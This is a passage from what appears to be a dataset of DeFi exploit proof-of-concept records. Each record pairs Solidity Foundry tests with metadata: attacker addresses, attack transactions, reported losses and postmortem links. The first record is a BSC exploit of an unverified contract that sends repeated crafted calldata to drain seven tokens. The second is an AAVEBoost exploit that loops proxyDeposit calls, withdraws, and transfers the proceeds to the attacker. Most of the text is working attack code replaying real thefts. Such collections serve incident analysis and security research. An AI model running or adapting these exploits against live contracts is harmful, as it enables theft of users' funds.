IERC20(0x40af3827F39D0EAcBF4A168f8D4ee67c121D11c9).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0xc5f0f7b66764F6ec8C8Dff7BA683102295E16409).balanceOf(attacker), 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x40af3827F39D0EAcBF4A168f8D4ee67c121D11c9).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0xc5f0f7b66764F6ec8C8Dff7BA683102295E16409).balanceOf(attacker), 18);\n }\n}\n\n// 0x7C2565b563E057D482be2Bf77796047E5340C57a\ncontract AttackerC {\n constructor() {\n require(victim == 0xB5CB0555c4A333543DbE0b219923C7B3e9D84a87, \"victim mismatch\");\n\n IERC20(wbnb).balanceOf(owner);\n // it seems calling the printMoney\n // but hard to decode the calldata\n (bool s1,) = victim.call(hex\"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a2000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c000000000000000000000000000000000000000000000001382294b6a25c95b6000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\");\n require(s1);\n\n IERC20(BEP20Ethereum).balanceOf(owner);\n (bool s2,) = victim.call(hex\"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a20000000000000000000000002170ed0880ac9a755fd29b2688956bd959f933f800000000000000000000000000000000000000000000000014ed4fb12d0c1e2d000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\");\n require(s2);\n\n IERC20(BEP20USDT).balanceOf(owner);\n (bool s3,) = victim.call(hex\"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a200000000000000000000000055d398326f99059ff775485246999027b3197955000000000000000000000000000000000000000000000135bc852b49b2cd8db4000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\");\n require(s3);\n\n IOwnedUpgradeabilityProxy(OwnedUpgradeabilityProxy).balanceOf(owner);\n (bool s4,) = victim.call(hex\"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a200000000000000000000000040af3827f39d0eacbf4a168f8d4ee67c121d11c90000000000000000000000000000000000000000000000e696b963acf3b8ff37000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\");\n require(s4);\n\n IBEP20Token(BEP20Token).balanceOf(owner);\n (bool s5,) = victim.call(hex\"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a20000000000000000000000007130d2a12b9bcbfae4f2634d864a1ee1ce3ead9c0000000000000000000000000000000000000000000000000071c00e14a47a0b000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\");\n require(s5);\n\n IBEP20UpgradeableProxy(BEP20UpgradeableProxy).balanceOf(owner);\n (bool s6,) = victim.call(hex\"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a20000000000000000000000008ac76a51cc950d9822d68b83fe1ad97b32cd580d00000000000000000000000000000000000000000000006df1a2d94e17e00b0d000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\");\n require(s6);\n\n ITransparentUpgradeableProxy(TransparentUpgradeableProxy).balanceOf(owner);\n (bool s7,) = victim.call(hex\"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a2000000000000000000000000c5f0f7b66764f6ec8c8dff7ba683102295e164090000000000000000000000000000000000000000000000529b36f9efe67f88b7000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\");\n require(s7);\n } \n}\n\ninterface IBEP20UpgradeableProxy {\n\tfunction balanceOf(address) external returns (uint256); \n}\ninterface IOwnedUpgradeabilityProxy {\n\tfunction balanceOf(address) external returns (uint256); \n}\ninterface ITransparentUpgradeableProxy {\n\tfunction balanceOf(address) external returns (uint256); \n}\ninterface IBEP20Token {\n\tfunction balanceOf(address) external returns (uint256); \n}\ninterface IBEP20USDT {\n\tfunction balanceOf(address) external returns (uint256); \n}\ninterface IBEP20Ethereum {\n\tfunction balanceOf(address) external returns (uint256); \n}", "type": "exploit_poc", "protocol": "unverified_b5cb", "date": "2025-06", "file_name": "unverified_b5cb_exp.sol", "attack_vector": null, "content_hash": "361472be6b223b58", "collected_at": "2026-01-07T10:59:16.528334", "_source": "postmortems", "chain": "bsc", "block_number": 52052680, "total_lost_raw": "2M USD", "total_lost_usd": 2000000.0, "attacker_address": "https://bscscan.com/address/0xd5c6f3b71bcceb2ef8332bd8225f5f39e56a122c", "attack_contract": "https://bscscan.com/address/0x7c2565b563e057d482be2bf77796047e5340c57a", "vulnerable_contract": "https://bscscan.com/address/0xb5cb0555a1d28c9dfdbc14017dae131d5c1cc19c", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x8c026c3939f7e2d0376d13e30859fa918a5a567348ca1329836df88bef30c73e", "postmortem_url": "https://x.com/TenArmorAlert/status/1937761064713941187", "twitter_url": "https://x.com/TenArmorAlert/status/1937761064713941187", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "2M USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x40af3827F39D0EAcBF4A168f8D4ee67c121D11c9).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0xc5f0f7b66764F6ec8C8Dff7BA683102295E16409).balanceOf(attacker), 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x40af3827F39D0EAcBF4A168f8D4ee67c121D11c9).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0xc5f0f7b66764F6ec8C8Dff7BA683102295E16409).balanceOf(attacker), 18);\n }\n}\n\n// 0x7C2565b563E057D482be2Bf77796047E5340C57a\ncontract AttackerC {\n constructor() {\n require(victim == 0xB5CB0555c4A333543DbE0b219923C7B3e9D84a87, \"victim mismatch\");\n\n IERC20(wbnb).balanceOf(owner);\n // it seems calling the printMoney\n // but hard to decode the calldata\n (bool s1,) = victim.call(hex\"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a2000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c000000000000000000000000000000000000000000000001382294b6a25c95b6000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\");\n require(s1);\n\n IERC20(BEP20Ethereum).balanceOf(owner);\n (bool s2,) = victim.call(hex\"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a20000000000000000000000002170ed0880ac9a755fd29b2688956bd959f933f800000000000000000000000000000000000000000000000014ed4fb12d0c1e2d000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\");\n require(s2);\n\n IERC20(BEP20USDT).balanceOf(owner);\n (bool s3,) = victim.call(hex\"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a200000000000000000000000055d398326f99059ff775485246999027b3197955000000000000000000000000000000000000000000000135bc852b49b2cd8db4000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\");\n require(s3);\n\n IOwnedUpgradeabilityProxy(OwnedUpgradeabilityProxy).balanceOf(owner);\n (bool s4,) = victim.call(hex\"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a200000000000000000000000040af3827f39d0eacbf4a168f8d4ee67c121d11c90000000000000000000000000000000000000000000000e696b963acf3b8ff37000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\");\n require(s4);\n\n IBEP20Token(BEP20Token).balanceOf(owner);\n (bool s5,) = victim.call(hex\"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a20000000000000000000000007130d2a12b9bcbfae4f2634d864a1ee1ce3ead9c0000000000000000000000000000000000000000000000000071c00e14a47a0b000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\");\n require(s5);\n\n IBEP20UpgradeableProxy(BEP20UpgradeableProxy).balanceOf(owner);\n (bool s6,) = victim.call(hex\"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a20000000000000000000000008ac76a51cc950d9822d68b83fe1ad97b32cd580d00000000000000000000000000000000000000000000006df1a2d94e17e00b0d000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\");\n require(s6);\n\n ITransparentUpgradeableProxy(TransparentUpgradeableProxy).balanceOf(owner);\n (bool s7,) = victim.call(hex\"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a2000000000000000000000000c5f0f7b66764f6ec8c8dff7ba683102295e164090000000000000000000000000000000000000000000000529b36f9efe67f88b7000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\");\n require(s7);\n } \n}\n\ninterface IBEP20UpgradeableProxy {", "has_exploit_code": true, "keyinfo_total_lost": "2M USD", "keyinfo_attacker": "https://bscscan.com/address/0xd5c6f3b71bcceb2ef8332bd8225f5f39e56a122c", "keyinfo_attack_contract": "https://bscscan.com/address/0x7c2565b563e057d482be2bf77796047e5340c57a", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xb5cb0555a1d28c9dfdbc14017dae131d5c1cc19c", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x8c026c3939f7e2d0376d13e30859fa918a5a567348ca1329836df88bef30c73e", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1937761064713941187", "analysis_twitter": "https://x.com/TenArmorAlert/status/1937761064713941187", "funds_lost_formatted": "$2.00M", "content_richness_score": 9, "quality_estimate": "high", "title": "unverified_b5cb Exploit (2025-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 14.8K USD\n// Attacker : 0x5d4430d14ae1d11526ddac1c1ef01da3b1dae455\n// Attack Contract : https://etherscan.io/address/0x8fa5cf0aa8af0e5adc7b43746ea033ca1b8e68de\n// Vulnerable Contract : \n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xc4ef3b5e39d862ffcb8ff591fbb587f89d9d4ab56aec70cfb15831782239c0ce\n\n// @Info\n// Vulnerable Contract Code : \n\n// @Analysis\n// Post-mortem : https://x.com/CertiKAlert/status/1933011428157563188\n// Twitter Guy : https://x.com/CertiKAlert/status/1933011428157563188\n// Hacking God : N/A\n\naddress constant AavePool = 0xf36F3976f288b2B4903aca8c177efC019b81D88B;\naddress constant InitializableAdminUpgradeabilityProxy = 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9;\naddress constant AaveBoost = 0xd2933c86216dC0c938FfAFEca3C8a2D6e633e2cA;\naddress constant attacker = 0x5D4430D14aE1d11526ddAc1c1eF01DA3b1DaE455;\naddress constant addr = 0x740836C95C6f3F49CccC65A27331D1f225138c39;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 22685443);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9).balanceOf(attacker), 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n deal(address(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9), address(attC), 48900000000000000000);\n deal(address(0x740836C95C6f3F49CccC65A27331D1f225138c39), address(attC), 48900000000000000000);\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9).balanceOf(attacker), 18);\n }\n}\n\ncontract AttackerC {\n function attack() public {\n require(msg.sender == attacker && tx.origin == attacker, \"auth\");\n\n uint256 balBoostToken = IInitializableAdminUpgradeabilityProxy(InitializableAdminUpgradeabilityProxy).balanceOf(AaveBoost);\n\n uint256 limit = balBoostToken / (3 * 10**17);\n uint256 idx = 0;\n while (idx < 163) {\n if (idx < limit) {\n (bool ok, ) = AaveBoost.call(abi.encodeWithSelector(IAaveBoost.proxyDeposit.selector, InitializableAdminUpgradeabilityProxy, address(this), uint128(0)));\n ok;\n }\n unchecked { idx++; }\n }\n\n if (163 >= limit) {\n uint256 aBal = IInitializableAdminUpgradeabilityProxy(addr).balanceOf(address(this));\n (bool ok1, ) = AavePool.call(abi.encodeWithSelector(IAavePool.withdraw.selector, InitializableAdminUpgradeabilityProxy, address(this), uint128(aBal), false));\n ok1;\n uint256 uBal = IInitializableAdminUpgradeabilityProxy(InitializableAdminUpgradeabilityProxy).balanceOf(address(this));\n IInitializableAdminUpgradeabilityProxy(InitializableAdminUpgradeabilityProxy).transfer(attacker, uBal);\n }\n }\n}\n\ninterface IAavePool {\n\tfunction withdraw(address, address, uint128, bool) external;\n}\ninterface IInitializableAdminUpgradeabilityProxy {\n\tfunction balanceOf(address) external returns (uint256);\n\tfunction transfer(address, uint256) external returns (bool); \n}\ninterface IAaveBoost {\n\tfunction proxyDeposit(address, address, uint128) external;\n}", "type": "exploit_poc", "protocol": "AAVEBoost", "date": "2025-06", "file_name": "AAVEBoost_exp.sol", "attack_vector": null, "content_hash": "64e10590cfb1e432", "collected_at": "2026-01-07T10:59:16.528417", "_source": "postmortems", "chain": "ethereum", "block_number": 22685443, "total_lost_raw": "14.8K USD", "total_lost_usd": 14800.0, "attacker_address": null, "attack_contract": "https://etherscan.io/address/0x8fa5cf0aa8af0e5adc7b43746ea033ca1b8e68de", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xc4ef3b5e39d862ffcb8ff591fbb587f89d9d4ab56aec70cfb15831782239c0ce", "postmortem_url": "https://x.com/CertiKAlert/status/1933011428157563188", "twitter_url": "https://x.com/CertiKAlert/status/1933011428157563188", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "14.8K USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9).balanceOf(attacker), 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n 